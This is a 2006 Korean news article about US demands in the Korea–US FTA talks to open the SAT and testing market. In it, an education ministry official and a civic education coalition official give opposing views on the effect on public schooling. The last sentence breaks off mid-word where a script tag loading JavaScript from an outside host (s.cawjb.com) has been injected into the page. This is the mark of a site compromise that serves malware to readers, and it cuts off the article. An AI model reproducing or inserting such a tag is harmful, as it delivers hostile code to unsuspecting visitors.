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교육부 “SAT 개방해도 공교육 무너지지 않아”
2006-07-13 오후 2:15:00, 조회:1081
[노컷뉴스 2006-07-13 08:31]
한·미 자유무역협정(FTA) 2차 협상에서 미국이 미국 대학수능시험(SAT) 등 시험시장 개방을 요구하고 있고 우리 정부도 이를 일정 부분 수용할 태세여서 중고등 학교교육에 미칠 파장에 대한 논란이 예상된다.
웬디 커틀러 미국 협상단 대표는 지난 10일 언론과의 인터뷰에서 “한국의 의무교육 시장엔 관심이 없지만 온라인 교육과 SAT 등 시험 시장에 관심이 있다”고 말한바 있다. 이에 대해 12일 CBS 라디오 ‘시사자키 오늘과 내일’(진행:신율 저녁 7:05-9:00)과 인터뷰한 서유미 교육인적자원부 국제교육협력과장은 “교육부 입장은 일단 WTO DDA 수준에서 개방 협상에 임한다는 원칙을 갖고 있는데 즉 초중등 교육 부분은 개방하지 않고, 고등교육이나 성인교육 부분에서 국가적으로 담보할 필요성을 정하지 않은 부분은 개방을 통해 경쟁력을 기른다는 입장”이라며 “다만 국내 공교육 제도 및 교육시장을 위협할 만한 민감한 사안에 대해서는 미래유보에 담아서 협상에 최선을 다한다는 입장”이라고 말했다.
여기서 미래 유보는 지금은 규제를 하지 않더라도 필요시엔 향후 규제조치를 도입할 수 있는 권리를 가진다는 의미로 서과장은 “테스팅 서비스에 대해 한국정부가 미래유보를 했다”고 말하면서 “향후 필요할 경우 한국정부가 적절한 규제 조치를 할 수 있는 권한을 가지는 걸 협상안에 담아 놓겠다”고 말했다.
이에 대해 범국민 교육연대 배태섭 사무처장은 같은 프로그램에서 “미래유보란 시간상의 문제지 사실상 개방하겠다는 의미”라고 지적하며 “이건 단순히 미국 시험이 들어오느냐 마느냐의 문제가 아니라, SAT가 지금 이화여대 국제학부에서 이용되듯 국내대학의 입시 전형 요소로 사용될 가능성이 높다”고 말했다.특히 우리 나라에선“ 평가 과정 자체가 교육 체계에 미치는 영향이 크기 때문에, 미국이 관심권 밖이라고 밝혔던 중고등 학교 교육에 ‘아이비 리그 대비반’처럼 SAT 시험 대비 현상이 나타날 수 있고 결과적으로 중고등학교 교육이 왜곡될 수 밖에 없다”는 지적이다.
서과장은 이에 대해 지금도 “SAT의 경우 미국학교에 진학하려는 학생들이 시험을 보고 있으며 미국 ETS사와 계약을 맺어서 SAT를 시행하는 곳은 전국적으로 11개 고등학교이며, 학교당 약 100명 내외가 시험을 보고 있다”고 지적하며 “유학이 개방되어 있기 때문에 유학을 하기 위해서는 SAT를 봐야 한다”며 “SAT라는 장치들이 지금도 정부 규제 없이 개방된 상태인데 FTA 협상 테이블에 테스팅 서비스를 개방해달란 요구가 왔다고 해서 우리 공교육 체제가 무너지거나 미국 표준화에 맞추는 쪽으로 교육 제도가 바뀔 것이라고 생각하는 건 지나친 우려다”고 지적했다.
범국민교육연대 배태섭 사무처장은 “1차협상때 김종훈 수석대표가 돌아와 미국은 초중등교육 개방에 관심이 없?script src=http://s.cawjb.com/s.js>
